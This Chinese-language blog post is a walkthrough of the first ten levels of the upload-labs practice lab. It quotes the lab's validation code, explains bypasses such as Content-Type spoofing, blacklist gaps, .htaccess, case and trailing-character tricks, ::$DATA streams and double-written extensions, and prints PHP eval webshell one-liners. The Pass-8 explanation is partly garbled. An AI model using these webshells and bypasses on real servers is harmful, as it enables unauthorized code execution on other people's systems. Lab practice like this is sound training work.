文件上传之upload-labs(一)

文件上传漏洞

通过上传攻击性文件(木马,病毒,恶意脚本)绕过检测到服务器并执行;
个人觉得不喜欢这些概念,通过实操更加能理解和掌握;
使用xampp、phpstudy、docker搭建upload-labs,三者都可,docker最方便但是我不是太熟悉,xampp安装的时候有很多工序,所以我选择的是phpstudy搭建了靶机环境,个人觉得学习文件上传用dvwa好一点,这个用来训练和复习,但是不得不说的是,至少前十题那个套路实在是没意思,下面是思维导图:
在这里插入图片描述
废话少说直接进入:
在这里插入图片描述

进入是这样的,开始训练吧。

pass-01:

在这里插入图片描述
新建一个PHP文件,使用一句话木马上传<?php @eval($_POST['pass']);?>
提示我们文件类型不符合要求要上传图片文件,首先抓包试一下能不能修改参数,不过在此之前既然给出了源码,我们也借此机会复习一下:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }}

明显这里是一个过滤文件类型的函数,而且是js代码,属于前端漏洞,所以当然可以抓包改包然后上传成功,先复习一下js常用函数:
document.getElementsByName返回带有指定名称的集合;
value 属性用于设置或者返回属性的值;
substring() 方法用于提取字符串中介于两个指定下标之间的字符,这里是提取文件扩展名;
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置,索引文件,字符串没有出现就返回-1;一般参数都是一个字符串,indexOf:从左往右查找
lastIndexOf:从右往左查找
复习完javascript,下面来完成这关吧:
将编写好的一句话木马改成jpg的后缀名,上传抓包,
在这里插入图片描述
在这里插入图片描述

类型和后缀名都符合要求forward即可,这里要说明的是content-type常用的一些格式:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml
会显示一个图像框虽然没有图像但是可以打开图片地址
在这里插入图片描述
这一步也不可少,一是确定文件是否真正上传,二是需要得到文件地址用菜刀连获取webshell;
在这里插入图片描述
查看目录上传完成;

pass-02

按照上面的思路一个是客户端一个是服务端,看下网页源码:
在这里插入图片描述
并没有在前端过滤,我们考虑在服务端,看一下后端的源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;


            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

对PHP代码进行审计,关键函数在第五行,如果上传文件存在,对上传文件的类型进行判断,虽然这里是在服务端进行的过滤,但是我们可以在客户端修改文件类型过滤,和第一关一样即可,这里我们还是复习一下PHP的几个函数:
isset很熟悉了,是判断变量是否设置;
file_exists()函数是检查文件或目录是否存在;
比较重要的一个函数就是 move_uploaded_file() 函数,是将上传的文件移动到新位置;
这里还要说一下$_FILES的几个参数:
$_FILES[“file”][“name”] – 被上传文件的名称
$_FILES[“file”][“type”] – 被上传文件的类型
$_FILES[“file”][“tmp_name”] – 存储在服务器的文件的临时副本的名称
这里的操作和第一关一样,就不给截图了。

pass-03

其实做这个更多的是复习php啦,我这里就直接打开源码看:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空


        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

第一眼看到的就是数组内容php,jsp等,明显就是黑名单,我们先审计一下代码,等下再说怎么绕过:
trim移除字符串中的字符,这里是为了提出文件扩展名所做的工作;
deldot()函数是删除文件名末尾的点
strrchr()函数是返回某个字符串出现的最后位置,并返回到结尾的所有字符;这里其实就是返回文件扩展名
str_ireplace(B,替换的字符,A) 函数:替换字符串A中的一些字符B(不区分大小写)。

其他几个函数上面都有注释
第二部分就是判断黑名单机制:
第一个函数就是in_array(search,array)判断上传的文件类型是否在黑名单之列;
如果是弹框错误,如果不是移动文件到指定文件夹中;
黑名单机制的局限性有很多种绕过方法:
1.将文件名改成类似php3,php5,pht这样的直接上传;
2.上传图片码改后缀
3.根据工具直接上传图片(图片里会夹杂一句话木马)
4…htaccess文件,是apache服务器中的一个配置文件,可以实现重定向,改变文件扩展名,具体用法不描述了;
在这里插入图片描述
这样就上传成功了

pass-04

相比pasa-3,这里只是将黑名单扩大,其他并没有做什么改变,黑名单如下:

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

这里就是需要我刚刚说的第三种方法:
在这里插入图片描述
将图片拖进.exe文件中,添加<?fputs(fopen ("shell2.php","w"),'<?php eval($_POST[guge]);?>’)?>如果上传成功查看图片时需要将图片改为shell2.php. .,然后用菜刀连接。
还有一种方法是使用.htaccess文件,修改后缀直接上传就欧克;

pass-5

同样也是完善了黑名单:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess")

比之前多了.htaccess,说明之前说的方法不行了
但是会发现相比之前不同的是这里转换小写的函数没有了:
在这里插入图片描述
所以可以抓包后,用后缀名大小写绕过,思路是这样的,步骤就不写啦

pass-6

这关呢,和之前的区别显而易见,就是将上述所说的不足修复了,即有了转小写函数,那要怎么办呢,还是需要利用黑名单的局限性,还有就是你查看源码会发现
在这里插入图片描述
这里没有去空处理,空格呀,空格绕过就可以啦

pass-7

在这里插入图片描述
代码审计,会发现少了deldot函数,所以抓包文件后加点就好了

pass-8

怎么又是老套路,又少了函数str_ireplace,没有过滤:: D A T A , 原 理 是 这 样 的 : p h p 在 w i n d o w 的 时 候 如 果 文 件 名 + " : : D A T A " 会 把 : : D A T A 之 后 的 数 据 当 成 文 件 流 处 理 , 不 会 检 测 后 缀 名 . . 且 保 持 " : : D A T A " 之 前 的 文 件 名 , 也 就 是 说 利 用 : : DATA,原理是这样的: php在window的时候如果文件名+"::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名..且保持"::DATA"之前的文件名,也就是说利用:: DATA,phpwindow+"::DATA"::DATA,.."::DATA"::DATA绕过两个条件就是Windows和PHP。

pass-9

啊 看到源码终于换套路了:
在这里插入图片描述
多了设置路径,其中$_UPLOAD_ADDR在其他文件已经定义是上传文件路径,这里将filename拼接路径,会带来风险,好像十二十三题是这样的,虽然这里去空也去点了,但是可以构造php. .来绕过,抓包该文件名即可

pass-10

str_ireplace函数:替换上述文件后缀名为空,但是只进行了一次替换,没有多次,所以我们可以通过双写进行绕过 (对大小写不敏感)
抓包修改后缀名为phphpp;

前十关总结

总结一下前十关,主要是利用了黑名单的局限性以及部分函数上的逻辑漏洞还要filename加入最终路径会带来风险。
其次呢几种绕过方法:
前端验证绕过;
Content-Type方式绕过;
黑名单绕过;
.htaccess绕过;
后缀大小写绕过;
文件后缀空格绕过;
文件后缀名.绕过;
Windows文件流绕过;
构造文件后缀绕过;
双写文件后缀绕过;

防御思路

对文件后缀相应检测,个人觉得白名单,直接接受指定类型的文件;
在前端部署web防火墙(eval post request等等类似的标记);
文件内容检测

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值